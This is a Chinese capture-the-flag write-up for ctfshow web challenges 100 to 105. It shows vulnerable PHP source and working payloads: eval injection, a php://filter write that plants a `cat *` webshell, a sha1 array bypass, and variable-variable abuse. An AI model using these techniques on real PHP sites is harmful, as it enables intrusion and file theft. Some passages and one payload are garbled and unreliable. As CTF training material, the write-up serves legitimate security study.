ctfshow web100-105
ctfshow 100
highlight_file(__FILE__);include(\"ctfshow.php\");//flag in class ctfshow;$ctfshow = new ctfshow();$v1=$_GET[\'v1\'];$v2=$_GET[\'v2\'];$v3=$_GET[\'v3\'];$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){ if(!preg_match(\"/\\;/\", $v2)){ if(preg_match(\"/\\;/\", $v3)){ eval(\"$v2(\'ctfshow\')$v3\"); } } }?>
分析题目前面四行可以忽略,php特性中=>and的优先级所以是要v1是数字就可以然后看v2是不能有分号,v3是必须有分号,然后再看一下最后输出的时候是v2(ctfshow)v2(ctfshow)v2(ctfshow)v3 所以要注释一下payload为:
?v1=123&v2=var_dump($ ctfshow)/$v3=/;
web101
highlight_file(__FILE__);include(\"ctfshow.php\");//flag in class ctfshow;$ctfshow = new ctfshow();$v1=$_GET[\'v1\'];$v2=$_GET[\'v2\'];$v3=$_GET[\'v3\'];$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);if($v0){ if(!preg_match(\"/\\\\\\\\|\\/|\\~|\\`|\\!|\\@|\\#|\\\\$|\\%|\\^|\\*|\\)|\\-|\\_|\\+|\\=|\\{|\\[|\\\"|\\\'|\\,|\\.|\\;|\\?|[0-9]/\", $v2)){ if(!preg_match(\"/\\\\\\\\|\\/|\\~|\\`|\\!|\\@|\\#|\\\\$|\\%|\\^|\\*|\\(|\\-|\\_|\\+|\\=|\\{|\\[|\\\"|\\\'|\\,|\\.|\\?|[0-9]/\", $v3)){ eval(\"$v2(\'ctfshow\')$v3\"); } } }?>
比起上一题加了很多过滤,同样v1还是要数字,v2是主要获得flag的地方,但是$被过滤了所以php中有个反射类,reflectionclass,因为本题涉及来类,所以用reflectionclas可以反射出类的信息。然后v3是;闭合即可,payload为
?v1=123&v2=echo%20%20new%20ReflectionClass&v3=;
web102
highlight_file(__FILE__);$v1 = $_POST[\'v1\'];$v2 = $_GET[\'v2\'];$v3 = $_GET[\'v3\'];$v4 = is_numeric($v2) and is_numeric($v3);if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str);}else{ die(\'hacker\');}
先分析代码,还是跟上题一样=的优先级要打压and所以v4的过滤就可以绕过,然后再看if判断语句,substr的作用是赋值,所以这句的意思是将v2开始的第三个字符以后的值赋给变量s,再看第二句,call_user_func回调函数,这个函数的意思是调用v1的函数,并将变量s的值作为参数传给v1的这个函数,并将返回值传给str,然后接着看 file_put_contents也就是将str变量传入v3这个文件里面,
所以我们想如何绕过首先v2是我们获取flag的重要,但是v2必须得是纯数字,所以想到用16进制转换为acsii,但是不能有字母,所以我们用base64编码。编码之后再继续改为十六进制,试了一下cat flag.php cat f*转出来都有数字,所以用<?=‘cat *’; 这样编码出来是base64编码是
PD89YGNhdCAqYDs=
然后再转为16进制
5044383959474e68644341715944733d
然后我们看3d不符合但是是base64编码中的等于号去掉也没影响,然后里面还有个数字e,在php中e是属于科学计数法的符号所以不被判断为数字,又因为他是从第三个字符才开始传入所以要在前面加两个0,然后v1就要传入解析16进制的函数
hex2bin
然后v3要用base64,php伪协议来写入php://filter/write=convert.base64-decode/resource=1.php
所以payload完整为
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post传入
v1=hex2bin
然后返回PD89YGNhdCAqYDs通过base64解码得知是我们最初始的命令,会通过伪协议解码并传入1.php中,所以我们访问1.php,然后查看源代码就得到flag
$flag=“ctfshow{540fd770-6061-4ad5-bbe6-be1d92beef11}”
web103
highlight_file(__FILE__);$v1 = $_POST[\'v1\'];$v2 = $_GET[\'v2\'];$v3 = $_GET[\'v3\'];$v4 = is_numeric($v2) and is_numeric($v3);if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match(\"/.*p.*h.*p.*/i\",$str)){ file_put_contents($v3,$str); } else{ die(\'Sorry\'); }}else{ die(\'hacker\');}?>
跟上一提一样,只是加了个过滤php,然而上一题payload中并没有用php的参数所有还是上一题的payload即可
?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post传入
v1=hex2bin
web 104
highlight_file(__FILE__);include(\"flag.php\");if(isset($_POST[\'v1\']) && isset($_GET[\'v2\'])){ $v1 = $_POST[\'v1\']; $v2 = $_GET[\'v2\']; if(sha1($v1)==sha1($v2)){ echo $flag; }}
这里就是对比sha1加密后的值是否一样,没判断v1是否=v2所以直接
v1=1
?v2=2
因为md5(),sha1()这种都无法识别数组所以也可以
v1[]=1
?v2[]=2
web 105
highlight_file(__FILE__);include(\'flag.php\');error_reporting(0);$error=\'你还想要flag嘛?\';$suces=\'既然你想要那给你吧!\';foreach($_GET as $key => $value){ if($key===\'error\'){ die(\"what are you doing?!\"); } $$key=$$value;}foreach($_POST as $key => $value){ if($value===\'flag\'){ die(\"what are you doing?!\"); } $$key=$$value;}if(!($_POST[\'flag\']==$flag)){ die($error);}echo \"your are good\".$flag.\"\\n\";die($suces);?>
分析一下一共有三个变量 $error, suces,suces,suces,flag
foreach($_GET as $key => $value){ if($key===\'error\'){ die(\"what are you doing?!\"); }
这段代码说明get传入的参数不能是error
foreach($_POST as $key => $value){ if($value===\'flag\'){ die(\"what are you doing?!\"); } $$key=$$value;}
这段代码说明post传入的参数不能是flag
又看到他这个代码直接就是$$key= $ value直接把用户输入的当作变量了我们利用最后的die(value 直接把用户输入的当作变量了我们利用最后的die(value直接把用户输入的当作变量了我们利用最后的die(error);;所以payload为
?suces=flag
error=suces
因为首先我们要绕过第一个get传参,这样get传参并不等于error,所以不会触发第一个die(),就会把flag的值传给suces,再看第二个post传参value是usces并不是flag所以也不会触发第二个die(),然后执行将suces的值赋给error,然后再看最后一个判断post传参flag并且内容就是$flag,没有然后就直接触发die(erroe)所以就获得flag了
这里的suces只是个中间人,换成任意参数其实都可以
还可以利用die($ suces) get类型传参根第一种方法一样都是传参给suces=flag,然后post传参flag= (空) 这样我们让post flag=$flag 然后执行die(suces),然后他已经被改为flag所有就得到答案了